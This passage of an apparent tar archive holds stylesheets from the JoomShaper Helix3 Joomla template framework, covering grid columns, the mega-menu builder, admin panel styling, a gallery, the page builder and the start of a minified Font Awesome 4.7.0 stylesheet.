  margin-left: 8.33333333%;
}
.col-xs-offset-0 {
  margin-left: 0%;
}
@media (min-width: 768px) {
  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
    float: left;
  }
  .col-sm-12 {
    width: 100%;
  }
  .col-sm-11 {
    width: 91.66666667%;
  }
  .col-sm-10 {
    width: 83.33333333%;
  }
  .col-sm-9 {
    width: 75%;
  }
  .col-sm-8 {
    width: 66.66666667%;
  }
  .col-sm-7 {
    width: 58.33333333%;
  }
  .col-sm-6 {
    width: 50%;
  }
  .col-sm-5 {
    width: 41.66666667%;
  }
  .col-sm-4 {
    width: 33.33333333%;
  }
  .col-sm-3 {
    width: 25%;
  }
  .col-sm-2 {
    width: 16.66666667%;
  }
  .col-sm-1 {
    width: 8.33333333%;
  }
  .col-sm-pull-12 {
    right: 100%;
  }
  .col-sm-pull-11 {
    right: 91.66666667%;
  }
  .col-sm-pull-10 {
    right: 83.33333333%;
  }
  .col-sm-pull-9 {
    right: 75%;
  }
  .col-sm-pull-8 {
    right: 66.66666667%;
  }
  .col-sm-pull-7 {
    right: 58.33333333%;
  }
  .col-sm-pull-6 {
    right: 50%;
  }
  .col-sm-pull-5 {
    right: 41.66666667%;
  }
  .col-sm-pull-4 {
    right: 33.33333333%;
  }
  .col-sm-pull-3 {
    right: 25%;
  }
  .col-sm-pull-2 {
    right: 16.66666667%;
  }
  .col-sm-pull-1 {
    right: 8.33333333%;
  }
  .col-sm-pull-0 {
    right: auto;
  }
  .col-sm-push-12 {
    left: 100%;
  }
  .col-sm-push-11 {
    left: 91.66666667%;
  }
  .col-sm-push-10 {
    left: 83.33333333%;
  }
  .col-sm-push-9 {
    left: 75%;
  }
  .col-sm-push-8 {
    left: 66.66666667%;
  }
  .col-sm-push-7 {
    left: 58.33333333%;
  }
  .col-sm-push-6 {
    left: 50%;
  }
  .col-sm-push-5 {
    left: 41.66666667%;
  }
  .col-sm-push-4 {
    left: 33.33333333%;
  }
  .col-sm-push-3 {
    left: 25%;
  }
  .col-sm-push-2 {
    left: 16.66666667%;
  }
  .col-sm-push-1 {
    left: 8.33333333%;
  }
  .col-sm-push-0 {
    left: auto;
  }
  .col-sm-offset-12 {
    margin-left: 100%;
  }
  .col-sm-offset-11 {
    margin-left: 91.66666667%;
  }
  .col-sm-offset-10 {
    margin-left: 83.33333333%;
  }
  .col-sm-offset-9 {
    margin-left: 75%;
  }
  .col-sm-offset-8 {
    margin-left: 66.66666667%;
  }
  .col-sm-offset-7 {
    margin-left: 58.33333333%;
  }
  .col-sm-offset-6 {
    margin-left: 50%;
  }
  .col-sm-offset-5 {
    margin-left: 41.66666667%;
  }
  .col-sm-offset-4 {
    margin-left: 33.33333333%;
  }
  .col-sm-offset-3 {
    margin-left: 25%;
  }
  .col-sm-offset-2 {
    margin-left: 16.66666667%;
  }
  .col-sm-offset-1 {
    margin-left: 8.33333333%;
  }
  .col-sm-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 992px) {
  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {
    float: left;
  }
  .col-md-12 {
    width: 100%;
  }
  .col-md-11 {
    width: 91.66666667%;
  }
  .col-md-10 {
    width: 83.33333333%;
  }
  .col-md-9 {
    width: 75%;
  }
  .col-md-8 {
    width: 66.66666667%;
  }
  .col-md-7 {
    width: 58.33333333%;
  }
  .col-md-6 {
    width: 50%;
  }
  .col-md-5 {
    width: 41.66666667%;
  }
  .col-md-4 {
    width: 33.33333333%;
  }
  .col-md-3 {
    width: 25%;
  }
  .col-md-2 {
    width: 16.66666667%;
  }
  .col-md-1 {
    width: 8.33333333%;
  }
  .col-md-pull-12 {
    right: 100%;
  }
  .col-md-pull-11 {
    right: 91.66666667%;
  }
  .col-md-pull-10 {
    right: 83.33333333%;
  }
  .col-md-pull-9 {
    right: 75%;
  }
  .col-md-pull-8 {
    right: 66.66666667%;
  }
  .col-md-pull-7 {
    right: 58.33333333%;
  }
  .col-md-pull-6 {
    right: 50%;
  }
  .col-md-pull-5 {
    right: 41.66666667%;
  }
  .col-md-pull-4 {
    right: 33.33333333%;
  }
  .col-md-pull-3 {
    right: 25%;
  }
  .col-md-pull-2 {
    right: 16.66666667%;
  }
  .col-md-pull-1 {
    right: 8.33333333%;
  }
  .col-md-pull-0 {
    right: auto;
  }
  .col-md-push-12 {
    left: 100%;
  }
  .col-md-push-11 {
    left: 91.66666667%;
  }
  .col-md-push-10 {
    left: 83.33333333%;
  }
  .col-md-push-9 {
    left: 75%;
  }
  .col-md-push-8 {
    left: 66.66666667%;
  }
  .col-md-push-7 {
    left: 58.33333333%;
  }
  .col-md-push-6 {
    left: 50%;
  }
  .col-md-push-5 {
    left: 41.66666667%;
  }
  .col-md-push-4 {
    left: 33.33333333%;
  }
  .col-md-push-3 {
    left: 25%;
  }
  .col-md-push-2 {
    left: 16.66666667%;
  }
  .col-md-push-1 {
    left: 8.33333333%;
  }
  .col-md-push-0 {
    left: auto;
  }
  .col-md-offset-12 {
    margin-left: 100%;
  }
  .col-md-offset-11 {
    margin-left: 91.66666667%;
  }
  .col-md-offset-10 {
    margin-left: 83.33333333%;
  }
  .col-md-offset-9 {
    margin-left: 75%;
  }
  .col-md-offset-8 {
    margin-left: 66.66666667%;
  }
  .col-md-offset-7 {
    margin-left: 58.33333333%;
  }
  .col-md-offset-6 {
    margin-left: 50%;
  }
  .col-md-offset-5 {
    margin-left: 41.66666667%;
  }
  .col-md-offset-4 {
    margin-left: 33.33333333%;
  }
  .col-md-offset-3 {
    margin-left: 25%;
  }
  .col-md-offset-2 {
    margin-left: 16.66666667%;
  }
  .col-md-offset-1 {
    margin-left: 8.33333333%;
  }
  .col-md-offset-0 {
    margin-left: 0%;
  }
}
@media (min-width: 1200px) {
  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {
    float: left;
  }
  .col-lg-12 {
    width: 100%;
  }
  .col-lg-11 {
    width: 91.66666667%;
  }
  .col-lg-10 {
    width: 83.33333333%;
  }
  .col-lg-9 {
    width: 75%;
  }
  .col-lg-8 {
    width: 66.66666667%;
  }
  .col-lg-7 {
    width: 58.33333333%;
  }
  .col-lg-6 {
    width: 50%;
  }
  .col-lg-5 {
    width: 41.66666667%;
  }
  .col-lg-4 {
    width: 33.33333333%;
  }
  .col-lg-3 {
    width: 25%;
  }
  .col-lg-2 {
    width: 16.66666667%;
  }
  .col-lg-1 {
    width: 8.33333333%;
  }
  .col-lg-pull-12 {
    right: 100%;
  }
  .col-lg-pull-11 {
    right: 91.66666667%;
  }
  .col-lg-pull-10 {
    right: 83.33333333%;
  }
  .col-lg-pull-9 {
    right: 75%;
  }
  .col-lg-pull-8 {
    right: 66.66666667%;
  }
  .col-lg-pull-7 {
    right: 58.33333333%;
  }
  .col-lg-pull-6 {
    right: 50%;
  }
  .col-lg-pull-5 {
    right: 41.66666667%;
  }
  .col-lg-pull-4 {
    right: 33.33333333%;
  }
  .col-lg-pull-3 {
    right: 25%;
  }
  .col-lg-pull-2 {
    right: 16.66666667%;
  }
  .col-lg-pull-1 {
    right: 8.33333333%;
  }
  .col-lg-pull-0 {
    right: auto;
  }
  .col-lg-push-12 {
    left: 100%;
  }
  .col-lg-push-11 {
    left: 91.66666667%;
  }
  .col-lg-push-10 {
    left: 83.33333333%;
  }
  .col-lg-push-9 {
    left: 75%;
  }
  .col-lg-push-8 {
    left: 66.66666667%;
  }
  .col-lg-push-7 {
    left: 58.33333333%;
  }
  .col-lg-push-6 {
    left: 50%;
  }
  .col-lg-push-5 {
    left: 41.66666667%;
  }
  .col-lg-push-4 {
    left: 33.33333333%;
  }
  .col-lg-push-3 {
    left: 25%;
  }
  .col-lg-push-2 {
    left: 16.66666667%;
  }
  .col-lg-push-1 {
    left: 8.33333333%;
  }
  .col-lg-push-0 {
    left: auto;
  }
  .col-lg-offset-12 {
    margin-left: 100%;
  }
  .col-lg-offset-11 {
    margin-left: 91.66666667%;
  }
  .col-lg-offset-10 {
    margin-left: 83.33333333%;
  }
  .col-lg-offset-9 {
    margin-left: 75%;
  }
  .col-lg-offset-8 {
    margin-left: 66.66666667%;
  }
  .col-lg-offset-7 {
    margin-left: 58.33333333%;
  }
  .col-lg-offset-6 {
    margin-left: 50%;
  }
  .col-lg-offset-5 {
    margin-left: 41.66666667%;
  }
  .col-lg-offset-4 {
    margin-left: 33.33333333%;
  }
  .col-lg-offset-3 {
    margin-left: 25%;
  }
  .col-lg-offset-2 {
    margin-left: 16.66666667%;
  }
  .col-lg-offset-1 {
    margin-left: 8.33333333%;
  }
  .col-lg-offset-0 {
    margin-left: 0%;
  }
}
                                                                                                                                                             system/helix3/assets/css/menu.generator.css                                                         0000705                 00000006313 15242051520 0015016 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
.megamenu {
	margin-bottom: 30px;
}
.sidebar-title {
	margin: 10 0;
	font-size: 14px;
	text-transform: uppercase;
	line-height: 1;
}

.modules-list {
	overflow-y: scroll;
	height: 400px;
	margin-bottom: 20px;
}

.draggable-module {
	display: block;
	background: #e5e5e5;
	padding: 8px 10px;
	margin-bottom: 3px;
	border-radius: 3px;
	cursor: move;
	position: relative;
	z-index: 99;
	transition: background-color 400ms;
	-webkit-transition: background-color 400ms;
}

.draggable-module.ui-draggable-dragging{
	width: 300px;
	background: #5bb75b;
	z-index: 99999;
	color: #fff;
}

.menu-section-state-highlight {
	background: #fff;
	border: 2px dashed #999;
  	border-radius: 3px;
  	margin-bottom: 10px;
}

.draggable-module:hover {
	background: #ccc;
}

.draggable-module .fa {
	display: block;
	float: right;
	font-size: 10px;
	line-height: 18px;
	color: #fff;
	height: 18px;
	width: 18px;
	text-align: center;
	border-radius: 2px;
}

.draggable-module .fa-arrows {
	background: #5bb75b;
	cursor: move;
}

.draggable-module .fa-remove {
	background: #da4f49;
	cursor: pointer;
}

.modules-list .fa-remove {
	display: none;
}

.modules-container .fa-arrows {
	display: none;
}

#megamenulayout {
	margin-left: 30px;
	background: #e5e5e5;
	padding: 10px;
	border-radius: 3px;
}

#megamenulayout .row-move {
	position: absolute;
	top: 0;
	left: -30px;
	cursor: move;
}

.menu-section {
	background: #ccc;
	padding: 10px;
	position: relative;
	margin-bottom: 10px;
	border-radius: 4px;
}

#megamenulayout .menu-section:last-child {
	margin-bottom: 0;
}

.menu-section .column {
	min-height: 40px;
}

.menu-section .column-items-wrap {
	background: #fff;
	padding: 10px;
	border-radius: 3px;
}

.menu-section .column-items-wrap h4 {
	margin: 0 0 10px;
	padding: 0;
	font-size: 14px;
	font-weight: bold;
}

.menu-section .column-items-wrap ul {
	list-style: none;
	padding: 0;
	margin: 0;
}

.menu-section .column-items-wrap ul li {
	display: block;
	padding: 7px 0;
	border-top: 1px solid #eee;
}

.menu-section .ui-state-highlight,
.modules-container:empty {
  border: 2px dashed #999;
  border-radius: 3px;
  height: 40px;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  -ms-box-sizing: border-box;
  -o-box-sizing: border-box;
  box-sizing: border-box;
}

.modules-container:empty:after {
	content: "Drop Module";
	line-height: 36px;
	padding: 0 10px;
}

/*List Layout*/
.menu-layout {
  display: none;
}

.menu-layout-list {
  list-style: none;
  padding: 0;
  margin: -10px;
}

.menu-layout-list > li {
  display: block;
  width: 33.3333%;
  float: left;
}

.menu-layout-list > li > a {
  margin: 10px;
  display: block;
  padding: 10px;
  border: 1px solid #e5e5e5;
  border-radius: 3px;
}

.action-bar {
	margin-left: 30px;
}

.action-bar ul{
  list-style: none;
  display: block;
  margin: 0;
  margin-bottom: 10px;
  padding: 0;
}

.action-bar ul li{
  display: inline-block;
}

#menuWidth{
  width: 50px;
}

.size-shape{
  padding: 5px;
  cursor: pointer;
  border: 1px solid #f0f0f0;
  margin: 0 1px;
}
.background{
  background-color: green;
}
                                                                                                                                                                                                                                                                                                                     system/helix3/assets/css/admin.general.css                                                          0000705                 00000032255 15242051520 0014575 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
body.com_templates {
	background: #fff;
}

.container-fluid.container-main {
	padding-left: 0;
	padding-right: 0;
}

.form-inline.form-inline-header {
	padding: 20px;
}

.tab-content {
	padding: 20px;
}

a,a:hover {text-decoration:none !important}
a.btn-primary,
a.btn-success,
a.btn-inverse,
a.btn-ino{color:#fff}

.helix-group{
	width: 100%;
	display: block;
}

.btn.btn-danger.layout-del-action .fa-spin{
	margin-left: 5px;
	display: none;
}

/*Basic*/
.com_templates.view-style input[type="text"]:not(.minicolors),
.com_templates.view-style input[type="url"],
.com_templates.view-style input[type="password"],
.com_templates.view-style input[type="number"],
.com_templates.view-style input[type="email"],
.com_templates.view-style textarea,
.com_templates.view-style select
{
	display: block;
	height: 34px;
	padding: 6px 12px;
	font-size: 14px;
	line-height: 1.42857143;
	color: #555;
	background-color: #fff;
	background-image: none;
	border: 1px solid #e6e6e5;
	border-bottom-width: 2px;
	border-radius: 3px;
	-webkit-box-shadow: none;
	box-shadow: none;
	-webkit-transition: border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;
	-o-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;
	transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-o-box-sizing: border-box;
	-ms-box-sizing: border-box;
}

.com_templates.view-style input[type="text"]:focus,
.com_templates.view-style input[type="url"]:focus,
.com_templates.view-style input[type="password"]:focus,
.com_templates.view-style input[type="number"]:focus,
.com_templates.view-style input[type="email"]:focus,
.com_templates.view-style textarea:focus,
.com_templates.view-style select:focus {
	border-color: rgba(82,168,236,0.8);
	outline: 0;
	outline: thin dotted \9;
	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
	box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);
}

.com_templates.view-style input[type="text"][disabled],
.com_templates.view-style input[type="url"][disabled],
.com_templates.view-style input[type="password"][disabled],
.com_templates.view-style input[type="number"][disabled],
.com_templates.view-style input[type="email"][disabled],
.com_templates.view-style textarea[disabled],
.com_templates.view-style select[disabled] {
	cursor: not-allowed;
	background-color: #eee;
	opacity: 1;
}

.com_templates.view-style textarea {
	height: auto;
	width: 400px;
	max-width: 100%;
}

.form-inline-header input[type="text"],
.form-inline-header select {
	width: 100%;
}

/*Main Tab*/
.helix-options .nav.nav-tabs {
	border-radius: 0;
	padding-left: 20px;
	padding-right: 20px;
	background: #164d7d url(../images/helix-logo.png) no-repeat 100% 50%;
	border: 0;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-o-box-sizing: border-box;
	-ms-box-sizing: border-box;
}

.helix-options .nav.nav-tabs > li {
	margin: 0;
}

.helix-options .nav.nav-tabs > li > a {
	padding: 25px 15px;
	line-height: 1;
	border: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	border-radius: 0;
	margin: 0;
	color: #fff;
}

.helix-options .nav.nav-tabs > li:hover > a,
.helix-options .nav.nav-tabs > li.active > a {
	background-color: #fff;
	color: #164d7d;
	padding: 20px 15px 25px;
	line-height: 1;
	border: 0;
	border-top: 5px solid #eee;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	border-radius: 0;
}

.helix-options .nav.nav-tabs > li > a > i {
	display: inline-block;
	margin-right: 5px;
}

/*Tab Common*/
.control-group.group-separator {
	border-top: 1px solid #eee;
	border-bottom: 1px solid #eee;
	padding: 20px;
	font-size: 14px;
	color: #000;
	line-height: 1;
	font-weight: 700;
	text-transform: uppercase;
	letter-spacing: 1px;
	margin: 30px -20px !important;
}

.control-group.group-separator span {
	display: block;
	margin-top: 5px;
	font-size: 12px;
	font-weight: normal;
	text-transform: none;
	color: #999;
}

.tab-pane > .control-group.group-separator:first-child {
	border-top: 0;
	padding-top: 0;
	margin-top: 0 !important;
}

.com_templates.view-style .input-append input {
	float: left;
	border-radius: 3px 0 0 3px;
}

.input-append button[type="button"] {
	float: left;
}

/* Layout Builder */
#attrib-layout > .control-group > .controls {
	margin-left: 0;
}

#attrib-layout > .control-group > .control-label {
	display: none;
}

#attrib-layout > div:first-child {
	margin: 30px 0 40px;
}

.layout-button-wrap {
	margin-left: 20px;
}

.layout-button-wrap .btn {
	margin-right: 10px;
}

.layoutbuilder-section{
	padding: 15px 0;
	margin-bottom: 30px;
	background: #f0f0f0;
	border-radius: 4px;
	position: relative;
}

.layoutbuilder-section * {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.layoutbuilder-section *:before,
.layoutbuilder-section *:after {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.layoutbuilder-section .row {
	margin-left: 0px;
	margin-right: 0px;
}

.settings-section{
	padding: 0 15px 15px;
	border-bottom: 1px solid #eee;
}

.settings-section .settings-left,
.settings-section .settings-right {
	list-style: none;
	padding: 0;
	margin: 0;
}

.settings-section .settings-left a.row-move i {
	border-radius: 2px;
	background: #a8a9ad;
	color: #fff;
	padding: 5px;
	margin-right: 5px;
}

.settings-section .settings-left a {
	cursor: move;
	color: #000;
}

.settings-section .settings-left a:hover i {
	background: #0072bc;
}

.layout-column .column {
	background: #fff;
	border-radius: 4px;
	height: 54px;
	line-height: 54px;
	color: #000;
	padding: 0 15px;
}

.layout-column .column:hover {
	cursor: move;
}

.layout-column .column .col-title {
	margin: 0;
	font-size: 14px;
	line-height: 14px;
	font-weight: normal;
	display: inline-block;
	padding: 5px 10px;
	color: #888;
	margin-top: 15px;
	cursor: pointer;
	border-radius: 3px;
}

.layout-column .column a {
	font-size: 18px;
	color: #97989c;
	cursor: pointer;
}

.layout-column .column a:hover {
	color: #0072bc;
}

.layoutlist,
.layout-button-wrap {
	float: left;
}

.com_templates.view-style .layoutlist select{
	display: inline-block;
}

/* Menu Assignment */
#assignment{padding: 15px;}
#assignment #jform_menuselect-lbl,
#assignment .btn-toolbar {display: inline-block;}
#assignment .btn-toolbar {margin-right: 30px;}
#menu-assignment {
	margin-top: 20px;
}

/*Button*/
.helix-options .btn, .helix-options .input-append .add-on, .helix-options .input-prepend .add-on {
	border-color: #e5e5e5;
	border-width: 0;
	border-bottom-width: 2px;
	padding: 7px 15px;
	background-image: none;
	-webkit-box-shadow: none;
	box-shadow: none;
	-webkit-transition: background-color 400ms;
	transition: background-color 400ms;
	text-shadow: none;
}

.helix-options .btn.active,
.helix-options .btn:active {
	box-shadow: none;
	-webkit-box-shadow: none;
}

.helix-options .btn.btn-danger {
	border-color: #bd362f;
	background-color: #bd362f;
}

.helix-options .btn.btn-danger.active,
.helix-options .btn.btn-danger:hover {
	border-color: #a32f29;
}

.helix-options .btn.btn-success {
	border-color: #51a351;
	background-color: #409740;
}

.helix-options .btn.btn-success.active,
.helix-options .btn.btn-success:hover {
	border-color: #458a45;
	background-color: #378137;
}

.helix-options .btn.btn-primary {
	border-color: #1a5896;
}

.helix-options .btn.btn-primary.active,
.helix-options .btn.btn-primary:hover {
	border-color: #1a5896;
}

.button-group {
	list-style: none;
	padding: 0;
	margin: 0;
}

.button-group > li {
	display: inline-block;
	position: relative;
	float: left;
}

.button-group > li > .btn {
	border-radius: 0;
	border-right-width: 0;
	padding: 2px 10px;
	border-width: 1px;
	border-right-width: 0;
}

.button-group > li:first-child > .btn {
	border-radius: 3px 0 0 3px;
}

.button-group > li:last-child > .btn {
	border-right-width: 1px;
	border-radius: 0 3px 3px 0;
}

.button-group > li > ul{
	list-style: none;
	padding: 0;
	margin: 0;
	position: absolute;
	top: -5px;
	right: 100%;
	width: 505px;
	padding: 10px 5px;
	background: #b3b3b3;
	border-radius: 3px;
	z-index: 999;
	text-align: center;
	display: none;
}

.button-group > li:hover > ul {
	display: block;
}

.arrange-column:hover .add-column {
	background: #36c77b;
	color: #fff;
}

.button-group > li > ul li{
	display: block;
	float: left;
}

.button-group > li > ul li a{
	text-align: left;
	display: block;
	padding: 0;
	margin: 0 2px;
	color: #fff;
	background-color: transparent;
	width: 29px;
	height: 17px;
	border: 0;
	border-radius: 0;
	background-repeat: no-repeat;
	background-position: 50%;
	-webkit-transition: background-color 400ms;
	transition: background-color 400ms;
}

.button-group > li > ul li a.column-layout-12 {
	background-image: url(../images/layout/12.png);
}

.button-group > li > ul li a.column-layout-3333 {
	background-image: url(../images/layout/3333.png);
}

.button-group > li > ul li a.column-layout-444 {
	background-image: url(../images/layout/444.png);
}

.button-group > li > ul li a.column-layout-66 {
	background-image: url(../images/layout/66.png);
}

.button-group > li > ul li a.column-layout-48 {
	background-image: url(../images/layout/48.png);
}

.button-group > li > ul li a.column-layout-39 {
	background-image: url(../images/layout/39.png);
}

.button-group > li > ul li a.column-layout-57 {
	background-image: url(../images/layout/57.png);
}

.button-group > li > ul li a.column-layout-363 {
	background-image: url(../images/layout/363.png);
}

.button-group > li > ul li a.column-layout-264 {
	background-image: url(../images/layout/264.png);
}

.button-group > li > ul li a.column-layout-210 {
	background-image: url(../images/layout/210.png);
}

.button-group > li > ul li a.column-layout-237{
	background-image: url(../images/layout/237.png);
}

.button-group > li > ul li a.column-layout-282{
	background-image: url(../images/layout/282.png);
}

.button-group > li > ul li a.column-layout-222222{
	background-image: url(../images/layout/222222.png);
}

.button-group > li > ul li a.column-layout-255{
	background-image: url(../images/layout/255.png);
}

.button-group > li > ul li a.column-layout-2442{
	background-image: url(../images/layout/2442.png);
}
.button-group > li > ul li a.column-layout-custom{
	background-image: url(../images/layout/custom.png);
}

.button-group > li ul li a:hover,
.button-group > li ul li a.active{
	background-color: rgba(0,0,0,.2);
}

/*Media*/
.controls .input-append .media-preview.add-on,
.controls .input-prepend .media-preview.add-on {
	border: 0;
	background: none;
	display: block;
	float: none;
	padding: 0;
	margin-bottom: 20px;
}

.controls .modal.btn, .controls .button-select.btn{
	border-radius: 3px 0 0 3px;
}

.controls .media-preview + input[type="text"]{
	display: none;
}

/*Presets*/
.presets > div{
	display: block;
	padding: 5px;
	margin: 0 20px 20px 0;
	width: 120px;
	height: 80px;
	float: left;
	position: relative;
	cursor: pointer;
}

.presets > div label {
	margin: 0;
}

.presets .preset-title {
	position: absolute;
	left: 0;
	bottom: 0;
	font-size: 12px;
	line-height: 1;
	background: transparent;
	padding: 5px;
	color: #fff;
	text-transform: uppercase;
	letter-spacing: 2px;
}

.presets > div.active {
	-webkit-box-shadow: inset 0 0 0 5px rgba(0,0,0,.4);
	box-shadow: inset 0 0 0 5px rgba(0,0,0,.4);
}

.presets > div.active .preset-title {
	background: rgba(0,0,0,.4);
	color: #fff;
	padding: 5px 5px 0 0;
	left: 5px;
	bottom: 5px;
}

.com_templates.view-style .minicolors input[type="text"]:not(.minicolors) {
	width: 100%;
	padding-left: 30px;
}

/*Web Font*/
.webfont input[type="text"],
.webfont input[type="number"],
.webfont select {
	width: 100%;
}

.webfont-preview {
	margin-top: 10px;
	margin-bottom: 10px;
}

.font-update-success,
.font-update-failed {
	margin-top: 10px;
	font-weight: bold;
}

.font-update-success {
	color: #51a351;
}

.font-update-failed {
	color: #bd362f;
}

/*Menu Assignment*/
#menu-assignment .thumbnail {
	height: 300px;
	overflow-y: scroll;
}

/*Others*/
.clr{ clear:both}

/* Helix3 Footer Area */

.helix-footer-area {
	background: #164D78;
	margin-top: 40px;
	padding: 40px 0;
	text-align: center;
}

.helix-footer-area .helix-logo-area{
	display: inline-block;
	width: 130px;
	height: 40px;
	background: url(../images/helix-logo.png) no-repeat;
	background-position: -20px;
	border: 0;
	text-indent: -9999px;
}

.helix-footer-area .template-version{
	background: #8dc63f;
	padding: 3px 8px;
	border-radius: 3px;
	font-size: 12px;
	font-weight: bold;
	color: #fff;
}

.helix-footer-area .help-links{
	padding-top: 20px;
}

.helix-footer-area .help-links a{
	color: #fff;
	margin-right: 7px;
	margin-left: 7px;
	display: inline-block;
}

/* Joomla 3.7 Compatible */
.helix-options .controls .field-media-wrapper[data-preview-container=".field-media-preview"] .input-append > input[type="text"]{
	display: none;
}
.helix-options .control-group .field-media-wrapper .field-media-preview{
	margin: 0 0 20px 0;
}

.helix-options .control-group .field-media-wrapper .field-media-preview img{
	max-height: 200px;
	max-width: 200px;
	height: inherit !important;
}
                                                                                                                                                                                                                                                                                                                                                   system/helix3/assets/css/spgallery.css                                                              0000705                 00000002047 15242051520 0014067 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/
.sp-gallery-items {
	list-style: none;
	padding: 0;
	margin: -5px;
	padding-bottom: 20px;
}
.sp-gallery-items:empty {
	display: none;
}

.sp-gallery-items>li {
	width: 100px;
	height: 100px;
	display: block;
	margin: 5px;
	background: #f5f5f5;
	padding: 5px;
	border: 1px solid #e5e5e5;
	float: left;
	position: relative;
	-webkit-transition: background-color 400ms;
	transition: background-color 400ms;
}

.sp-gallery-items>li:hover {
	cursor: move;
	background: #e5e5e5;
	border-color: #e5e5e5;
}

.sp-gallery-items>li>.btn-remove-image {
	position: absolute;
	top: 10px;
	right: 10px;
	display: none;
}

.sp-gallery-items>li:hover>.btn-remove-image {
	display: inline-block;
}

.sp-gallery-items img {
	display: block;
	height: 100%;
	width: 100%;
}

.sp-gallery-items .sp-gallery-item-loader {
	line-height: 100px;
	text-align: center;
	font-size: 24px;
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         system/helix3/assets/css/pagebuilder.css                                                            0000705                 00000001042 15242051520 0014342 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2016 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

.sppb-row-container {
  margin-right: auto;
  margin-left: auto;
  padding-left: 15px;
  padding-right: 15px;
}
@media (min-width: 768px) {
  .sppb-row-container {
    width: 750px;
  }
}
@media (min-width: 992px) {
  .sppb-row-container {
    width: 970px;
  }
}
@media (min-width: 1200px) {
  .sppb-row-container {
    width: 1170px;
  }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              system/helix3/assets/css/font-awesome.min.css                                                       0000705                 00000074430 15242051520 0015260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*!
 *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes 